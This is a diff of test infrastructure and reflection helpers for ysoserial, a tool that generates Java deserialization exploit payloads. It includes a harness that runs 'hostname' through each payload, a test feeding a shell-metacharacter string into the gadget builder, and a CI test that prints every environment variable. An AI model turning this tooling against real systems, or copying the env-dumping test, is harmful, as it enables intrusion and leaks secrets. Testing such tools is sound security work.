+    public static void setAccessible(AccessibleObject member) {
-		Field field = clazz.getDeclaredField(fieldName);
+        String versionStr = System.getProperty("java.version");
-		if (field != null)
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
-			field.setAccessible(true);
+        if (javaVersion < 12) {
-		else if (clazz.getSuperclass() != null)
+          // quiet runtime warnings from JDK9+
-			field = getField(clazz.getSuperclass(), fieldName);
+          Permit.setAccessible(member);
+        } else {
+          // not possible to quiet runtime warnings anymore...
+          // see https://bugs.openjdk.java.net/browse/JDK-8210522
+          // to understand impact on Permit (i.e. it does not work
+          // anymore with Java >= 12)
+          member.setAccessible(true);
+        }
+    }
+
+	public static Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+	try {
+	    field = clazz.getDeclaredField(fieldName);
+	    setAccessible(field);
+        }
+        catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null)
+                field = getField(clazz.getSuperclass(), fieldName);
+        }
 		return field;
 	}
 
@@ -24,29 +46,32 @@ public class Reflections {
 	}
 
 	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
-		final Field field = getField(obj.getClass(), fieldName);		
+		final Field field = getField(obj.getClass(), fieldName);
 		return field.get(obj);
 	}
 
 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
-	    ctor.setAccessible(true);
+	    setAccessible(ctor);
 	    return ctor;
 	}
-	
+
+	public static Object newInstance(String className, Object ... args) throws Exception {
+        return getFirstCtor(className).newInstance(args);
+    }
 
     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
     }
-    
+
     @SuppressWarnings ( {"unchecked"} )
     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
-        objCons.setAccessible(true);
+	    setAccessible(objCons);
         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
-        sc.setAccessible(true);
+	    setAccessible(sc);
         return (T)sc.newInstance(consArgs);
     }
 

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java

@@ -16,12 +16,42 @@ public class DelegateSecurityManager extends SecurityManager {
 		this.securityManager = securityManager;
 	}
 
+    //BEGIN fixes for JDK10+ compatibility
+
     @SuppressWarnings({"deprecation"})
-    @Override
+    //@Override
 	public boolean getInCheck() {
-		return getSecurityManager().getInCheck();
+		//return getSecurityManager().getInCheck();
+        return false;
 	}
 
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public boolean checkTopLevelWindow(Object window) {
+	    //return getSecurityManager().checkTopLevelWindow(window);
+        return true;
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkSystemClipboardAccess() {
+	    //getSecurityManager().checkSystemClipboardAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkAwtEventQueueAccess() {
+        //getSecurityManager().checkAwtEventQueueAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkMemberAccess(Class<?> clazz, int which) {
+        //getSecurityManager().checkMemberAccess(clazz, which);
+    }
+
+    //END fixes for JDK10+ compatibility
+
 	@Override
 	public Object getSecurityContext() {
 		return getSecurityManager().getSecurityContext();
@@ -138,29 +168,11 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkPropertyAccess(key);
 	}
 
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public boolean checkTopLevelWindow(Object window) {
-		return getSecurityManager().checkTopLevelWindow(window);
-	}
-
 	@Override
 	public void checkPrintJobAccess() {
 		getSecurityManager().checkPrintJobAccess();
 	}
 
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public void checkSystemClipboardAccess() {
-		getSecurityManager().checkSystemClipboardAccess();
-	}
-
-    @SuppressWarnings({"deprecation"})
-    @Override
-	public void checkAwtEventQueueAccess() {
-		getSecurityManager().checkAwtEventQueueAccess();
-	}
-
 	@Override
 	public void checkPackageAccess(String pkg) {
 
@@ -177,12 +189,6 @@ public class DelegateSecurityManager extends SecurityManager {
 		getSecurityManager().checkSetFactory();
 	}
 
-	@SuppressWarnings({"deprecation"})
-	@Override
-	public void checkMemberAccess(Class<?> clazz, int which) {
-		getSecurityManager().checkMemberAccess(clazz, which);
-	}
-
 	@Override
 	public void checkSecurityAccess(String target) {
 		getSecurityManager().checkSecurityAccess(target);

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java

@@ -6,6 +6,7 @@ import java.util.LinkedList;
 import java.util.List;
 import java.util.concurrent.Callable;
 
+// TODO per-thread secmgr
 public class ExecCheckingSecurityManager extends SecurityManager {
 	public ExecCheckingSecurityManager() {
 		this(true);
@@ -41,7 +42,6 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	};
 
-
 	@SuppressWarnings("serial")
 	public static class ExecException extends RuntimeException {
 		private final String threadName = Thread.currentThread().getName();

src/test/java/ysoserial/CiTest.java

@@ -0,0 +1,11 @@
+package ysoserial;
+
+import org.junit.Test;
+
+public class CiTest {
+    @Test
+    public void test() {
+        System.out.println("System.getProperties(): " + System.getProperties());
+        System.out.println("System.getenv(): " + System.getenv());
+    }
+}

src/test/java/ysoserial/test/CustomDeserializer.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**
@@ -7,7 +7,7 @@ package ysoserial;
  */
 public interface CustomDeserializer {
 
-    
+
     Class<?> getCustomDeserializer ();
 
 }

src/test/java/ysoserial/test/CustomPayloadArgs.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**
@@ -7,7 +7,7 @@ package ysoserial;
  */
 public interface CustomPayloadArgs {
 
-    
+
     String getPayloadArgs ();
-    
+
 }

src/test/java/ysoserial/test/CustomTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/test/WrappedTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 
@@ -9,5 +9,5 @@ import java.util.concurrent.Callable;
 public interface WrappedTest extends CustomPayloadArgs {
 
     Callable<Object> createCallable ( Callable<Object> innerCallable );
-   
+
 }

src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java

@@ -1,4 +1,4 @@
-package ysoserial.exploit;
+package ysoserial.test.exploit;
 
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;

src/test/java/ysoserial/test/payloads/CommandExecTest.java

@@ -1,9 +1,9 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import org.junit.Assert;
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
-import ysoserial.util.Files;
+import ysoserial.test.util.Files;
-import ysoserial.util.OS;
+import ysoserial.test.util.OS;
 
 import java.io.File;
 import java.util.UUID;
@@ -16,7 +16,6 @@ public class CommandExecTest implements CustomTest {
     @Override
     public void run(Callable<Object> payload) throws Exception {
         Assert.assertFalse("test file should not exist", testFile.exists());
-        Exception err;
         try {
             payload.call();
         } catch (Exception e) {

src/test/java/ysoserial/test/payloads/FileUploadTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import java.io.File;
 import java.io.IOException;
@@ -9,8 +9,8 @@ import org.junit.Assert;
 
 import com.google.common.io.Files;
 
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
-import ysoserial.util.OS;
+import ysoserial.test.util.OS;
 
 /**
  * @author mbechler
@@ -47,9 +47,12 @@ public class FileUploadTest implements CustomTest {
             payload.call();
 
             File found = null;
-            for ( File f : this.repo.listFiles()) {
+            for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
-                found = f;
+                for (File f : this.repo.listFiles()) {
-                break;
+                    found = f;
+                    break;
+                }
+                Thread.sleep(100);
             }
             Assert.assertNotNull("File not copied", found);
             if (OS.get() != OS.WINDOWS) {
@@ -60,11 +63,21 @@ public class FileUploadTest implements CustomTest {
         } finally {
             if ( this.repo.exists()) {
                 for ( File f : this.repo.listFiles()) {
-                    f.deleteOnExit();
+                    safeDeleteOnExit(f);
                 }
-                this.repo.deleteOnExit();
+                safeDeleteOnExit(this.repo);
             }
-            this.source.deleteOnExit();
+            safeDeleteOnExit(this.source);
+        }
+    }
+
+    private static void safeDeleteOnExit(File f) {
+        try {
+            if (f.exists()) {
+                f.deleteOnExit();
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
         }
     }
 

src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java

@@ -1,10 +1,10 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.net.URL;
 import java.util.concurrent.Callable;
 
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
 import ysoserial.exploit.JRMPListener;
 
 
@@ -22,15 +22,15 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
         // some payloads cannot specify the port
         jrmpPort = 1099;
     }
-    
+
-    
+
 
 
 
     /**
       * {@inheritDoc}
       *
-      * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
+      * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
       */
     @Override
     public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
@@ -58,7 +58,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
         return "localhost:" + jrmpPort;
     }
 
-   
+
-    
+
-    
+
 }

src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.util.concurrent.Callable;
@@ -7,7 +7,7 @@ import javax.management.BadAttributeValueExpException;
 
 import org.junit.Assert;
 
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
 import ysoserial.exploit.JRMPListener;
 
 
@@ -21,7 +21,7 @@ public class JRMPReverseConnectTest implements CustomTest {
 
 
     /**
-     * 
+     *
      */
     public JRMPReverseConnectTest () {
         // some payloads cannot specify the port

src/test/java/ysoserial/test/payloads/MyfacesTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.beans.FeatureDescriptor;
@@ -23,7 +23,8 @@ import org.mockito.Mockito;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import ysoserial.CustomDeserializer;
+import ysoserial.payloads.util.Reflections;
+import ysoserial.test.CustomDeserializer;
 import ysoserial.Deserializer;
 
 
@@ -46,7 +47,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
 
     /**
      * need to use a custom deserializer so that the faces context gets set in the isolated class
-     * 
+     *
      * @author mbechler
      *
      */
@@ -79,10 +80,10 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
 
 
         private static class MockELResolver extends ELResolver {
-            
+
             private ServletRequest request;
-            
+
-  
+
             public MockELResolver (ServletRequest req) {
                 this.request = req;
             }
@@ -94,7 +95,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                     context.setPropertyResolved(true);
                     return this.request;
                 }
-                
+
                 return null;
             }
 
@@ -108,10 +109,10 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                 return null;
             }
 
- 
+
             @Override
             public void setValue ( ELContext context, Object base, Object property, Object value ) {
-        
+
             }
 
 
@@ -126,14 +127,14 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
                 return null;
             }
 
- 
+
             @Override
             public Class<?> getCommonPropertyType ( ELContext context, Object base ) {
                 return null;
             }
-            
+
         }
-        
+
         public MyfacesDeserializer ( byte[] bytes ) {
             super(bytes);
         }
@@ -142,7 +143,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
         @Override
         public Object call () throws Exception {
             java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
-            setFC.setAccessible(true);
+            Reflections.setAccessible(setFC);
             ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
             Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
             FacesContext ctx = createMockFacesContext();

src/test/java/ysoserial/test/payloads/PayloadsTest.java

@@ -1,37 +1,44 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
+import java.io.ByteArrayOutputStream;
 import java.io.File;
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.Callable;
 
 import org.jboss.shrinkwrap.resolver.api.maven.Maven;
-import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.JUnitCore;
+import org.junit.runner.Result;
 import org.junit.runner.RunWith;
+import org.junit.runner.notification.Failure;
+import org.junit.runner.notification.RunListener;
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.Parameters;
 
-import ysoserial.CustomDeserializer;
+import ysoserial.*;
-import ysoserial.CustomPayloadArgs;
+import ysoserial.payloads.DynamicDependencies;
-import ysoserial.CustomTest;
+import ysoserial.payloads.ObjectPayload;
-import ysoserial.Deserializer;
+import ysoserial.test.CustomTest;
-import ysoserial.Serializer;
+import ysoserial.test.CustomDeserializer;
-import ysoserial.util.Throwables;
+import ysoserial.test.CustomPayloadArgs;
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
-import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
+import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
-import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
+import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.ClassFiles;
-import ysoserial.secmgr.ExecCheckingSecurityManager;
-import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
 
 
 /*
@@ -70,21 +77,30 @@ public class PayloadsTest {
 
     public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
             throws Exception {
+        System.out.println("Testing payload: " + payloadClass.getName());
+
         String command = "hostname";
-        String[] deps = buildDeps(payloadClass);
 
         PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
 
+        int tries = 1;
         if ( t != null ) {
-            if ( !t.skip().isEmpty() ) {
+            if (System.getProperty("forceTests") == null) {
-                Assume.assumeTrue(t.skip(), false);
+                if ( !t.skip().isEmpty() ) {
+                    Assume.assumeTrue(t.skip(), false);
+                }
+
+                if ( !t.precondition().isEmpty() ) {
+                    Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
+                }
             }
 
-            if ( !t.precondition().isEmpty() ) {
+            if (! t.flaky().isEmpty()) {
-                Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
+                tries = 5;
             }
         }
 
+        String[] deps = buildDeps(payloadClass);
         String payloadCommand = command;
         Class<?> customDeserializer = null;
         Object testHarness = null;
@@ -99,25 +115,36 @@ public class PayloadsTest {
             testHarness = new CommandExecTest(); // default
         }
 
-        if ( testHarness instanceof CustomPayloadArgs ) {
+        if ( testHarness instanceof CustomPayloadArgs) {
             payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
         }
 
-        if ( testHarness instanceof CustomDeserializer ) {
+        if ( testHarness instanceof CustomDeserializer) {
             customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
         }
 
-        ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
+        // TODO per-thread secmgr to enforce no detonation during deserialization
-        final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
+        final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
         Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
-        if ( testHarness instanceof WrappedTest ) {
+        if ( testHarness instanceof WrappedTest) {
             callable = ( (WrappedTest) testHarness ).createCallable(callable);
         }
 
-        if ( testHarness instanceof CustomTest ) {
+        if (testHarness instanceof CustomTest) {
-            ( (CustomTest) testHarness ).run(callable);
+            // if marked as flaky try up to 5 times
-            return;
+            Exception ex = new Exception();
+            for (int i = 0; i < tries; i++) {
+                try {
+                    ((CustomTest) testHarness).run(callable);
+                    ex = null;
+                    break;
+                } catch (Exception e) {
+                    ex = e;
+                }
+            }
+            if (ex != null) throw ex;
         }
+
     }
 
 
@@ -173,7 +200,12 @@ public class PayloadsTest {
 
     static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
             throws Exception {
-        File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
+        File[] jars = dependencies.length > 0
+            ? Maven.configureResolver()
+                .withMavenCentralRepo(true)
+                .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
+                .resolve(dependencies).withoutTransitivity().asFile()
+            : new File[0];
         URL[] urls = new URL[jars.length];
         for ( int i = 0; i < jars.length; i++ ) {
             urls[ i ] = jars[ i ].toURI().toURL();
@@ -219,4 +251,92 @@ public class PayloadsTest {
             Thread.currentThread().setContextClassLoader(ccl);
         }
     }
+
+    public static void main(String[] args) {
+
+        JUnitCore junit = new JUnitCore();
+        PayloadListener listener = new PayloadListener();
+        junit.addListener(listener);
+        Result result = junit.run(PayloadsTest.class);
+        System.exit(result.wasSuccessful() ? 0 : 1);
+    }
+
+    public static class StdIo {
+
+        private static final PrintStream realOut = System.out;
+        private static final PrintStream realErr = System.err;
+
+        public static void restoreStreams() {
+            setStreams(realOut, realErr);
+        }
+
+        public static void setStreams(PrintStream out, PrintStream err) {
+            System.setOut(out);
+            System.setErr(err);
+        }
+
+        public static void setStreams(OutputStream out, OutputStream err) {
+            setStreams(new PrintStream(out), new PrintStream(err));
+        }
+    }
+
+    public static class PayloadListener extends RunListener {
+        public enum Status {
+            SUCCESS,
+            FAILURE,
+            IGNORE,
+            ASSUMPTION_FAILURE
+        }
+
+        private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
+        private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
+
+        private Map<Description, Status> statuses = new HashMap<Description, Status>();
+
+        private Map<Description, Failure> failures = new HashMap<Description, Failure>();
+
+        @Override
+        public void testStarted(Description description) throws Exception {
+            System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
+
+            statuses.put(description, Status.SUCCESS);
+
+            ByteArrayOutputStream out = new ByteArrayOutputStream();
+//            ByteArrayOutputStream err = new ByteArrayOutputStream();
+
+            outs.put(description, out);
+//            errs.put(description, err);
+
+            StdIo.setStreams(out, out);
+        }
+
+        @Override
+        public void testFinished(Description description) throws Exception {
+            outs.get(description).close();
+            //errs.get(description).close();
+
+            StdIo.restoreStreams();
+
+            Status status = statuses.get(description);
+            System.out.println(getPayload(description.getDisplayName()) + ": " + status);
+            if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
+        }
+
+        @Override
+        public void testFailure(Failure failure) throws Exception {
+            statuses.put(failure.getDescription(), Status.FAILURE);
+            failures.put(failure.getDescription(), failure);
+        }
+
+        @Override
+        public void testAssumptionFailure(Failure failure) {
+            statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
+            failures.put(failure.getDescription(), failure);
+        }
+
+        // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
+        public static String getPayload(String displayName) {
+            return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
+        }
+    }
 }

src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.io.ByteArrayInputStream;
@@ -12,7 +12,7 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
 
 
 /**
@@ -76,8 +76,8 @@ public class RemoteClassLoadingTest implements WrappedTest {
             this.innerCallable = innerCallable;
 
         }
-        
+
-        
+
         public void waitFor() throws InterruptedException {
             synchronized ( this.waitLock ) {
                 this.waitLock.wait(1000);
@@ -121,7 +121,7 @@ public class RemoteClassLoadingTest implements WrappedTest {
 
     }
 
-    
+
 
     public static class Exploit implements Serializable {
 

src/test/java/ysoserial/test/payloads/TestHarnessTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import java.io.IOException;
 import java.io.ObjectInputStream;
@@ -7,6 +7,7 @@ import java.io.Serializable;
 import org.hamcrest.CoreMatchers;
 import org.junit.Assert;
 import org.junit.Test;
+import ysoserial.payloads.ObjectPayload;
 
 public class TestHarnessTest {
 	// make sure test harness fails properly

src/test/java/ysoserial/test/util/Callables.java

@@ -1,4 +1,4 @@
-package ysoserial.util;
+package ysoserial.test.util;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/test/util/Files.java

@@ -1,4 +1,4 @@
-package ysoserial.util;
+package ysoserial.test.util;
 
 import java.io.File;
 

src/test/java/ysoserial/test/util/GadgetsTest.java

@@ -0,0 +1,14 @@
+package ysoserial.test.util;
+
+import org.junit.Test;
+import ysoserial.payloads.util.Gadgets;
+
+public class GadgetsTest {
+    @Test
+    public void test_createTemplatesImpl_noCompilationError() throws Exception {
+        Gadgets.createTemplatesImpl("hostname");
+        Gadgets.createTemplatesImpl("echo 'foobar'");
+        Gadgets.createTemplatesImpl("echo \"foobar\"");
+        Gadgets.createTemplatesImpl("\"`';\\");
+    }
+}

src/test/java/ysoserial/test/util/OS.java

@@ -1,4 +1,4 @@
-package ysoserial.util;
+package ysoserial.test.util;
 
 public enum OS {
     WINDOWS,

src/test/java/ysoserial/test/util/Throwables.java

@@ -1,4 +1,4 @@
-package ysoserial.util;
+package ysoserial.test.util;
 
 public class Throwables {
 	public static Throwable getInnermostCause(final Throwable t) {